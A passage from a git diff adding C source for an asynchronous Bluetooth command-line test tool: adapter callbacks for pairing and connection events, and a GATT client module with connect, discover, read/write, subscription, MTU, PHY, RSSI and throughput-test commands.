g_async_cmd_tables[i].func(handle, argc, &argv[0]); + else + ret = g_async_cmd_tables[i].func(handle, argc - 1, &argv[1]); + if (g_async_cmd_tables[i].func == quit_cmd) + return -2; + return ret; + } + } + } + + PRINT("UnKnow command %s", argv[0]); + usage(); + + return CMD_UNKNOWN; +} + +static void on_adapter_state_changed_cb(void* cookie, bt_adapter_state_t state) +{ + PRINT("Context:%p, Adapter state changed: %d", cookie, state); + if (state == BT_ADAPTER_STATE_ON) { + + bt_tool_init(g_bttool_ins); + /* get name */ + bt_adapter_get_name_async(g_bttool_ins, get_local_name_cb, NULL); + /* get io cap */ + bt_adapter_get_io_capability_async(g_bttool_ins, get_iocap_cb, NULL); + /* get class */ + bt_adapter_get_device_class_async(g_bttool_ins, get_local_cod_cb, NULL); + /* get scan mode */ + bt_adapter_get_scan_mode_async(g_bttool_ins, get_scanmode_cb, NULL); + /* enable key derivation */ + bt_adapter_le_enable_key_derivation_async(g_bttool_ins, true, true, status_cb, NULL); + bt_adapter_set_page_scan_parameters_async(g_bttool_ins, BT_BR_SCAN_TYPE_INTERLACED, 0x400, 0x24, status_cb, NULL); + } else if (state == BT_ADAPTER_STATE_TURNING_OFF) { + /* code */ + bt_tool_uninit(g_bttool_ins); + } else if (state == BT_ADAPTER_STATE_OFF) { + /* do something */ + } +} + +static void on_discovery_state_changed_cb(void* cookie, bt_discovery_state_t state) +{ + PRINT("Discovery state: %s", state == BT_DISCOVERY_STATE_STARTED ? "Started" : "Stopped"); +} + +static void on_discovery_result_cb(void* cookie, bt_discovery_result_t* result) +{ + PRINT_ADDR("Inquiring: device [%s], name: %s, cod: %08" PRIx32 ", is HEADSET: %s, rssi: %d", + &result->addr, result->name, result->cod, IS_HEADSET(result->cod) ? "true" : "false", result->rssi); +} + +static void on_scan_mode_changed_cb(void* cookie, bt_scan_mode_t mode) +{ + PRINT("Adapter new scan mode: %d", mode); +} + +static void on_device_name_changed_cb(void* cookie, const char* device_name) +{ + PRINT("Adapter update device name: %s", device_name); +} + +static void on_pair_request_cb(void* cookie, bt_address_t* addr) +{ + if (g_auto_accept_pair) + bt_device_pair_request_reply_async(g_bttool_ins, addr, true, status_cb, NULL); + + PRINT_ADDR("Incoming pair request from [%s] %s", addr, g_auto_accept_pair ? "auto accepted" : "please reply"); +} + +#define LINK_TYPE(trans_) (trans_ == BT_TRANSPORT_BREDR ? "BREDR" : "LE") + +static void on_pair_display_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, bt_pair_type_t type, uint32_t passkey) +{ + uint8_t ret = 0; + char buff[128] = { 0 }; + char buff1[64] = { 0 }; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + sprintf(buff, "Pair Display [%s][%s]", addr_str, LINK_TYPE(transport)); + switch (type) { + case PAIR_TYPE_PASSKEY_CONFIRMATION: + if (!g_auto_accept_pair) { + sprintf(buff1, "[SSP][CONFIRM][%" PRIu32 "] please reply:", passkey); + break; + } + ret = bt_device_set_pairing_confirmation_async(g_bttool_ins, addr, transport, true, status_cb, NULL); + sprintf(buff1, "[SSP][CONFIRM] Auto confirm [%" PRIu32 "] %s", passkey, ret == BT_STATUS_SUCCESS ? "SUCCESS" : "FAILED"); + break; + case PAIR_TYPE_PASSKEY_ENTRY: + sprintf(buff1, "[SSP][ENTRY][%" PRIu32 "], please reply:", passkey); + break; + case PAIR_TYPE_CONSENT: + sprintf(buff1, "[SSP][CONSENT]"); + break; + case PAIR_TYPE_PASSKEY_NOTIFICATION: + sprintf(buff1, "[SSP][NOTIFY][%" PRIu32 "]", passkey); + break; + case PAIR_TYPE_PIN_CODE: + sprintf(buff1, "[PIN] please reply:"); + break; + } + strcat(buff, buff1); + PRINT("%s", buff); +} + +static void on_connect_request_cb(void* cookie, bt_address_t* addr) +{ + bt_device_connect_request_reply_async(g_bttool_ins, addr, true, status_cb, NULL); + PRINT_ADDR("Incoming connect request from [%s], auto accepted", addr); +} + +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, connection_state_t state) +{ + PRINT_ADDR("Device [%s][%s] connection state: %d", addr, LINK_TYPE(transport), state); +} + +static void on_bond_state_changed_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t state, bool is_ctkd) +{ + g_bond_state = state; + PRINT_ADDR("Device [%s][%s] bond state: %s, is_ctkd: %d", addr, LINK_TYPE(transport), bond_state_to_string(state), is_ctkd); +} + +static void on_le_sc_local_oob_data_got_cb(void* cookie, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + PRINT_ADDR("Generate local oob data for le secure connection pairing with [%s]:", addr); + + printf("\tConfirmation value: "); + for (int i = 0; i < sizeof(bt_128key_t); i++) { + printf("%02x", c_val[i]); + } + printf("\n"); + + printf("\tRandom value: "); + for (int i = 0; i < sizeof(bt_128key_t); i++) { + printf("%02x", r_val[i]); + } + printf("\n"); +} + +static void on_remote_name_changed_cb(void* cookie, bt_address_t* addr, const char* name) +{ + PRINT_ADDR("Device [%s] name changed: %s", addr, name); +} + +static void on_remote_alias_changed_cb(void* cookie, bt_address_t* addr, const char* alias) +{ + PRINT_ADDR("Device [%s] alias changed: %s", addr, alias); +} + +static void on_remote_cod_changed_cb(void* cookie, bt_address_t* addr, uint32_t cod) +{ + PRINT_ADDR("Device [%s] class changed: 0x%08" PRIx32 "", addr, cod); +} + +static void on_remote_uuids_changed_cb(void* cookie, bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + char uuid_str[40] = { 0 }; + + PRINT_ADDR("Device [%s] uuids changed", addr); + + if (size) { + PRINT("UUIDs:[%d]", size); + for (int i = 0; i < size; i++) { + bt_uuid_to_string(uuids + i, uuid_str, 40); + PRINT("\tuuid[%-2d]: %s", i, uuid_str); + } + } +} + +const static adapter_callbacks_t g_adapter_async_cbs = { + .on_adapter_state_changed = on_adapter_state_changed_cb, + .on_discovery_state_changed = on_discovery_state_changed_cb, + .on_discovery_result = on_discovery_result_cb, + .on_scan_mode_changed = on_scan_mode_changed_cb, + .on_device_name_changed = on_device_name_changed_cb, + .on_pair_request = on_pair_request_cb, + .on_pair_display = on_pair_display_cb, + .on_connect_request = on_connect_request_cb, + .on_connection_state_changed = on_connection_state_changed_cb, + .on_bond_state_changed = on_bond_state_changed_cb, + .on_le_sc_local_oob_data_got = on_le_sc_local_oob_data_got_cb, + .on_remote_name_changed = on_remote_name_changed_cb, + .on_remote_alias_changed = on_remote_alias_changed_cb, + .on_remote_cod_changed = on_remote_cod_changed_cb, + .on_remote_uuids_changed = on_remote_uuids_changed_cb, +}; + +static void register_callback_cb(bt_instance_t* ins, bt_status_t status, void* cookie, void* userdata) +{ + *(void**)userdata = cookie; +} + +static void state_on_cb(bt_instance_t* ins, bt_status_t status, bt_adapter_state_t state, void* userdata) +{ + PRINT("%s state: %d", __func__, state); + + if (state == BT_ADAPTER_STATE_ON) + bt_tool_init(g_bttool_ins); +} + +static void ipc_connected(bt_instance_t* ins, void* userdata) +{ + PRINT("ipc connected"); + + bt_adapter_register_callback_async(ins, &g_adapter_async_cbs, register_callback_cb, &adapter_callback_async); + bt_adapter_get_state_async(ins, state_on_cb, NULL); +} + +static void ipc_disconnected(bt_instance_t* ins, void* userdata, int status) +{ + PRINT("ipc disconnected"); +} + +int bttool_async_ins_init(bttool_t* bttool) +{ + g_bttool_ins = bluetooth_create_async_instance(&bttool->loop, ipc_connected, ipc_disconnected, (void*)bttool); + if (g_bttool_ins == NULL) { + PRINT("create instance error\n"); + return -1; + } + + return 0; +} + +void bttool_async_ins_uninit(bttool_t* bttool) +{ + bt_tool_uninit(g_bttool_ins); + bt_adapter_unregister_callback_async(g_bttool_ins, adapter_callback_async, NULL, NULL); + bluetooth_delete_async_instance(g_bttool_ins); + g_bttool_ins = NULL; + adapter_callback_async = NULL; +} \ No newline at end of file diff --git a/tools/async/gatt_client.c b/tools/async/gatt_client.c new file mode 100644 index 0000000000000000000000000000000000000000..ed0cbee4485b4588c34200daa7cb4764891d95bf --- /dev/null +++ b/tools/async/gatt_client.c @@ -0,0 +1,821 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> + +#include "bluetooth.h" +#include "bt_config.h" +#include "bt_device.h" +#include "bt_gattc.h" +#include "bt_message_gattc.h" +#include "bt_tools.h" + +#ifdef LOG_TAG +#undef LOG_TAG +#endif + +#define LOG_TAG "[bttool_async]" + +#define THROUGHTPUT_HORIZON 5 + +typedef struct { + gattc_handle_t handle; + bt_address_t remote_address; + connection_state_t conn_state; + uint16_t gatt_mtu; +} gattc_device_t; + +static int create_cmd(void* handle, int argc, char* argv[]); +static int delete_cmd(void* handle, int argc, char* argv[]); +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int discover_services_cmd(void* handle, int argc, char* argv[]); +static int read_request_cmd(void* handle, int argc, char* argv[]); +static int write_cmd(void* handle, int argc, char* argv[]); +static int write_request_cmd(void* handle, int argc, char* argv[]); +static int enable_cccd_cmd(void* handle, int argc, char* argv[]); +static int disable_cccd_cmd(void* handle, int argc, char* argv[]); +static int exchange_mtu_cmd(void* handle, int argc, char* argv[]); +static int update_conn_cmd(void* handle, int argc, char* argv[]); +static int read_phy_cmd(void* handle, int argc, char* argv[]); +static int update_phy_cmd(void* handle, int argc, char* argv[]); +static int read_rssi_cmd(void* handle, int argc, char* argv[]); +static int throughput_cmd(void* handle, int argc, char* argv[]); + +#define GATTC_CONNECTION_MAX (CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS) +static gattc_device_t g_gattc_devies[GATTC_CONNECTION_MAX]; +static volatile uint32_t throughtput_cursor = 0; +static int throughtput_state = 0; +typedef struct { + int32_t run_time; + uint32_t write_count; + uint32_t write_length; +} throughtput_info_t; + +#define CHECK_CONNCTION_ID(id) \ + { \ + if (id < 0 || id >= GATTC_CONNECTION_MAX) { \ + PRINT("invalid connection id: %d", id); \ + return CMD_INVALID_OPT; \ + } \ + if (!g_gattc_devies[id].handle) { \ + PRINT("connection[%d] is not created!", id); \ + return CMD_INVALID_OPT; \ + } \ + } + +static bt_command_t g_gattc_async_tables[] = { + { "create", create_cmd, 0, "\"create gatt client :\"" }, + { "delete", delete_cmd, 0, "\"delete gatt client :<conn id>\"" }, + { "connect", connect_cmd, 0, "\"connect remote device :<conn id><address>[addr type(0:public,1:random,2:public_id,3:random_id)]\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect remote device :<conn id>\"" }, + { "discover", discover_services_cmd, 0, "\"discover all services : <conn id> [uuid]\"\n" + "\t\t\t e.g., discover 0\n" + "\t\t\t e.g., discover 0 1800" }, + { "read_request", read_request_cmd, 0, "\"read request :<conn id><char id>\"" }, + { "write_cmd", write_cmd, 0, "\"write cmd :<conn id><char id><type>(str or hex)<playload>\n" + "\t\t\t e.g., write_cmd 0 0001 str HelloWorld!\n" + "\t\t\t e.g., write_cmd 0 0001 hex 00 01 02 03\"" }, + { "write_request", write_request_cmd, 0, "\"write request with response : <conn id><har id><type>(str or hex)<payload>\"\n" + "\t\t\t e.g., write_request 0 0001 str HelloACK\n" + "\t\t\t e.g., write_request 0 0001 hex 0A 0B 0C 0D\"" }, + { "enable_cccd", enable_cccd_cmd, 0, "\"enable cccd(1: NOTIFY, 2: INDICATE) :<conn id><char id><ccc value>\"" }, + { "disable_cccd", disable_cccd_cmd, 0, "\"disable cccd :<conn id><char id>\"" }, + { "exchange_mtu", exchange_mtu_cmd, 0, "\"exchange mtu :<conn id><mtu>\"" }, + { "update_conn", update_conn_cmd, 0, "\"update connection parameter :<conn id><min_interval><max_interval><latency><timeout><min_connection_event_length><max_connection_event_length>\"" }, + { "read_phy", read_phy_cmd, 0, "\"read phy :<conn id>\"" }, + { "update_phy", update_phy_cmd, 0, "\"update phy(0: 1M, 1: 2M, 3: LE_Coded) :<conn id><tx><rx>\"" }, + { "read_rssi", read_rssi_cmd, 0, "\"read remote rssi :<conn id>\"" }, + { "throughput", throughput_cmd, 0, "\"throughput test :<conn id><char id><seconds>\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_gattc_async_tables); i++) { + printf("\t%-8s\t%s\n", g_gattc_async_tables[i].cmd, g_gattc_async_tables[i].help); + } +} + +static void status_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + PRINT("%s status: %d", __func__, status); +} + +static void create_connect_cb(bt_instance_t* ins, bt_status_t status, gattc_handle_t* phandle, void* userdata) +{ + int conn_id = *(int*)userdata; + if (status != BT_STATUS_SUCCESS) + return; + + PRINT("create connection success, conn_id: %d", conn_id); + free(userdata); +} + +static void delete_connect_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + if (status != BT_STATUS_SUCCESS) + PRINT("delete connection fail, conn_id: %d", *(int*)userdata); + else + PRINT("delete connection success, conn_id: %d", *(int*)userdata); + + free(userdata); +} + +static void get_attribute_cb(bt_instance_t* ins, bt_status_t status, gatt_attr_desc_t* attr_desc, void* userdata) +{ + uint8_t* b_uuid; + uint8_t is_end_handle; + if (status != BT_STATUS_SUCCESS) + return; + + switch (attr_desc->type) { + case GATT_PRIMARY_SERVICE: + printf(">[0x%04x][PRI]", attr_desc->handle); + break; + case GATT_SECONDARY_SERVICE: + printf(">[0x%04x][SND]", attr_desc->handle); + break; + case GATT_INCLUDED_SERVICE: + printf("> [0x%04x][INC]", attr_desc->handle); + break; + case GATT_CHARACTERISTIC: + printf("> [0x%04x][CHR]", attr_desc->handle); + break; + case GATT_DESCRIPTOR: + printf("> [0x%04x][DES]", attr_desc->handle); + break; + } + printf("[PROP:0x%04" PRIx32, attr_desc->properties); + if (attr_desc->properties) { + printf(","); + if (attr_desc->properties & GATT_PROP_READ) { + printf("R"); + } + if (attr_desc->properties & GATT_PROP_WRITE_NR) { + printf("Wn"); + } + if (attr_desc->properties & GATT_PROP_WRITE) { + printf("W"); + } + if (attr_desc->properties & GATT_PROP_NOTIFY) { + printf("N"); + } + if (attr_desc->properties & GATT_PROP_INDICATE) { + printf("I"); + } + } + printf("]"); + + b_uuid = attr_desc->uuid.val.u128; + printf("[0x%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x]\r\n", + b_uuid[15], b_uuid[14], b_uuid[13], b_uuid[12], + b_uuid[11], b_uuid[10], b_uuid[9], b_uuid[8], + b_uuid[7], b_uuid[6], b_uuid[5], b_uuid[4], + b_uuid[3], b_uuid[2], b_uuid[1], b_uuid[0]); + + if (!userdata) + return; + + is_end_handle = *(uint8_t*)userdata; + if (is_end_handle) { + printf(">"); + PRINT("gattc_discover_callback completed"); + } + free(userdata); +} + +static void write_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + if (userdata == NULL) + return; + + throughtput_info_t* data = (throughtput_info_t*)userdata; + if (data->run_time <= 0) { + PRINT("gattc write throughput test failed due to an unexpected interruption!"); + free(userdata); + return; + } + + if (status != BT_STATUS_SUCCESS && throughtput_state == BT_STATUS_SUCCESS) { + throughtput_state = status; + uint32_t bit_rate = data->write_length * data->write_count / data->run_time; + PRINT("gattc write throughput test finish, Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", + bit_rate, bit_rate << 3, data->run_time); + } + + free(userdata); +} + +static gattc_device_t* find_gattc_device(void* handle) +{ + for (int i = 0; i < GATTC_CONNECTION_MAX; i++) { + if (g_gattc_devies[i].handle == handle) + return &g_gattc_devies[i]; + } + return NULL; +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + ble_addr_type_t addr_type = BT_LE_ADDR_TYPE_RANDOM; + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + bt_address_t addr; + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + if (argc >= 3) { + addr_type = atoi(argv[2]); + if (addr_type > BT_LE_ADDR_TYPE_ANONYMOUS || addr_type < BT_LE_ADDR_TYPE_PUBLIC) { + PRINT("Invalid address type"); + return CMD_INVALID_OPT; + } + } + + if (bt_gattc_connect_async(g_gattc_devies[conn_id].handle, &addr, addr_type, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_disconnect_async(g_gattc_devies[conn_id].handle, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int discover_services_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + bt_uuid_t* uuid_ptr = NULL; + bt_uuid_t uuid; + + if (argc >= 2) { + uint16_t uuid_val = (uint16_t)strtol(argv[1], NULL, 16); + uuid = BT_UUID_DECLARE_16(uuid_val); + uuid_ptr = &uuid; + } + + if (bt_gattc_discover_service_async(g_gattc_devies[conn_id].handle, uuid_ptr, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_request_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (bt_gattc_read_async(g_gattc_devies[conn_id].handle, attr_handle, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int write_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + int len, i; + uint8_t* value = NULL; + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (!strcmp(argv[2], "str")) { + if (bt_gattc_write_without_response_async(g_gattc_devies[conn_id].handle, attr_handle, + (uint8_t*)argv[3], strlen(argv[3]), NULL, NULL) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + } else if (!strcmp(argv[2], "hex")) { + len = argc - 3; + if (len <= 0 || len > 0xFFFF) + return CMD_USAGE_FAULT; + + value = malloc(len); + if (!value) + return CMD_ERROR; + + for (i = 0; i < len; i++) + value[i] = (uint8_t)(strtol(argv[3 + i], NULL, 16) & 0xFF); + if (bt_gattc_write_without_response_async(g_gattc_devies[conn_id].handle, attr_handle, + value, len, NULL, NULL) + != BT_STATUS_SUCCESS) + goto error; + } else + return CMD_INVALID_PARAM; + + if (value) + free(value); + + return CMD_OK; +error: + if (value) + free(value); + return CMD_ERROR; +} + +static int write_request_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + int len, i; + uint8_t* value = NULL; + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = (uint16_t)strtol(argv[1], NULL, 16); + + if (!strcmp(argv[2], "str")) { + if (bt_gattc_write_async(g_gattc_devies[conn_id].handle, attr_handle, + (uint8_t*)argv[3], strlen(argv[3]), NULL, NULL) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + + } else if (!strcmp(argv[2], "hex")) { + len = argc - 3; + if (len <= 0 || len > 0xFFFF) + return CMD_USAGE_FAULT; + + value = malloc(len); + if (!value) + return CMD_ERROR; + + for (i = 0; i < len; i++) { + value[i] = (uint8_t)(strtol(argv[3 + i], NULL, 16) & 0xFF); + } + + if (bt_gattc_write_async(g_gattc_devies[conn_id].handle, attr_handle, + value, len, NULL, NULL) + != BT_STATUS_SUCCESS) + goto error; + } else { + return CMD_INVALID_PARAM; + } + + if (value) + free(value); + + return CMD_OK; + +error: + if (value) + free(value); + return CMD_ERROR; +} + +static int enable_cccd_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + uint16_t ccc_value = atoi(argv[2]); + + if (bt_gattc_subscribe_async(g_gattc_devies[conn_id].handle, attr_handle, ccc_value, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disable_cccd_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (bt_gattc_unsubscribe_async(g_gattc_devies[conn_id].handle, attr_handle, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int exchange_mtu_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint32_t mtu = atoi(argv[1]); + + if (bt_gattc_exchange_mtu_async(g_gattc_devies[conn_id].handle, mtu, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int update_conn_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 7) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint32_t min_interval = atoi(argv[1]); + uint32_t max_interval = atoi(argv[2]); + uint32_t latency = atoi(argv[3]); + uint32_t timeout = atoi(argv[4]); + uint32_t min_connection_event_length = atoi(argv[5]); + uint32_t max_connection_event_length = atoi(argv[6]); + + if (bt_gattc_update_connection_parameter_async(g_gattc_devies[conn_id].handle, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length, status_cb, NULL) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_phy_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_read_phy_async(g_gattc_devies[conn_id].handle, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int update_phy_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + int tx = atoi(argv[1]); + int rx = atoi(argv[2]); + + if (bt_gattc_update_phy_async(g_gattc_devies[conn_id].handle, tx, rx, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_rssi_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_read_rssi_async(g_gattc_devies[conn_id].handle, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int throughput_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + int32_t test_time = atoi(argv[2]); + if (test_time <= 0) + return CMD_INVALID_OPT; + + if (g_gattc_devies[conn_id].conn_state != CONNECTION_STATE_CONNECTED) { + PRINT("connection[%d] is not connected to any device!", conn_id); + return CMD_ERROR; + } + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + uint32_t write_length = g_gattc_devies[conn_id].gatt_mtu; + uint8_t* payload = (uint8_t*)malloc(sizeof(uint8_t) * write_length); + if (!payload) { + PRINT("write payload malloc failed"); + return CMD_ERROR; + } + + int32_t run_time = 0; + uint32_t write_count = 0; + uint32_t bit_rate = 0; + struct timespec start_ts; + + clock_gettime(CLOCK_BOOTTIME, &start_ts); + throughtput_cursor = 0; + + PRINT("gattc write throughput test start, mtu = %" PRIu32 ", time = %" PRId32 "s.", write_length, test_time); + while (1) { + struct timespec current_ts; + throughtput_info_t* data; + clock_gettime(CLOCK_BOOTTIME, ¤t_ts); + + if (throughtput_state != BT_STATUS_SUCCESS) { + free(payload); + return CMD_ERROR; + } + + if (run_time < (current_ts.tv_sec - start_ts.tv_sec)) { + run_time = (current_ts.tv_sec - start_ts.tv_sec); + bit_rate = write_length * write_count / run_time; + PRINT("gattc write Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", bit_rate, bit_rate << 3, run_time); + } + + if (run_time >= test_time || g_gattc_devies[conn_id].conn_state != CONNECTION_STATE_CONNECTED) { + break; + } + + if (throughtput_cursor >= THROUGHTPUT_HORIZON) { + usleep(500); + continue; + } + + memset(payload, write_count & 0xFF, write_length); + data = (throughtput_info_t*)malloc(sizeof(throughtput_info_t)); + data->run_time = run_time; + data->write_count = write_count; + data->write_length = write_length; + + int ret = bt_gattc_write_without_response_async(g_gattc_devies[conn_id].handle, attr_handle, payload, write_length, write_cb, (void*)data); + if (ret != BT_STATUS_SUCCESS) { + PRINT("write failed, ret: %d.", ret); + free(data); + break; + } + + throughtput_cursor++; + write_count++; + } + free(payload); + + if (run_time <= 0) { + PRINT("gattc write throughput test failed due to an unexpected interruption!"); + return CMD_ERROR; + } + + bit_rate = write_length * write_count / run_time; + PRINT("gattc write throughput test finish, Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", + bit_rate, bit_rate << 3, run_time); + + return CMD_OK; +} + +static void connect_callback(void* conn_handle, bt_address_t* addr) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + memcpy(&device->remote_address, addr, sizeof(bt_address_t)); + device->conn_state = CONNECTION_STATE_CONNECTED; + PRINT_ADDR("gattc_connect_callback, addr:%s", addr); +} + +static void disconnect_callback(void* conn_handle, bt_address_t* addr) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + device->conn_state = CONNECTION_STATE_DISCONNECTED; + PRINT_ADDR("gattc_disconnect_callback, addr:%s", addr); +} + +static void discover_callback(void* conn_handle, gatt_status_t status, bt_uuid_t* uuid, uint16_t start_handle, uint16_t end_handle) +{ + bt_status_t ret; + if (status != GATT_STATUS_SUCCESS) { + PRINT("gattc_discover_callback error %d", status); + return; + } + + if (!uuid || !uuid->type) { + uint8_t* is_end_handle = (uint8_t*)malloc(sizeof(uint8_t)); + *is_end_handle = true; + + ret = bt_gattc_get_attribute_by_handle_async(conn_handle, 0U, get_attribute_cb, (void*)is_end_handle); + if (ret != BT_STATUS_SUCCESS) + free(is_end_handle); + + return; + } + + PRINT("gattc_discover_callback result, attr_handle: 0x%04x - 0x%04x", start_handle, end_handle); + + for (uint16_t attr_handle = start_handle; attr_handle <= end_handle; attr_handle++) { + if (bt_gattc_get_attribute_by_handle_async(conn_handle, attr_handle, get_attribute_cb, + NULL) + != BT_STATUS_SUCCESS) + PRINT("gattc_get_attribute_by_handle fail, attr_handle: 0x%04x", start_handle); + } +} + +static void read_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + PRINT("gattc connection read complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + lib_dumpbuffer("read value:", value, length); +} + +static void write_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle) +{ + if (status != GATT_STATUS_SUCCESS) { + PRINT("gattc connection write failed, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + return; + } + + if (throughtput_cursor) { + throughtput_cursor--; + } else { + PRINT("gattc connection write complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + } +} + +static void subscribe_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle, bool enable) +{ + PRINT("gattc connection subscribe complete, handle 0x%" PRIx16 ", status:%d, enable:%d", attr_handle, status, enable); +} + +static void notify_received_callback(void* conn_handle, uint16_t attr_handle, + uint8_t* value, uint16_t length) +{ + PRINT("gattc connection receive notify, handle 0x%" PRIx16, attr_handle); + lib_dumpbuffer("notify value:", value, length); +} + +static void mtu_updated_callback(void* conn_handle, gatt_status_t status, uint32_t mtu) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + if (status == GATT_STATUS_SUCCESS) { + device->gatt_mtu = mtu; + } + PRINT("gattc_mtu_updated_callback, status:%d, mtu:%" PRIu32, status, mtu); +} + +static void phy_read_callback(void* conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT("gattc read phy complete, tx:%d, rx:%d", tx_phy, rx_phy); +} + +static void phy_updated_callback(void* conn_handle, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT("gattc_phy_updated_callback, status:%d, tx:%d, rx:%d", status, tx_phy, rx_phy); +} + +static void rssi_read_callback(void* 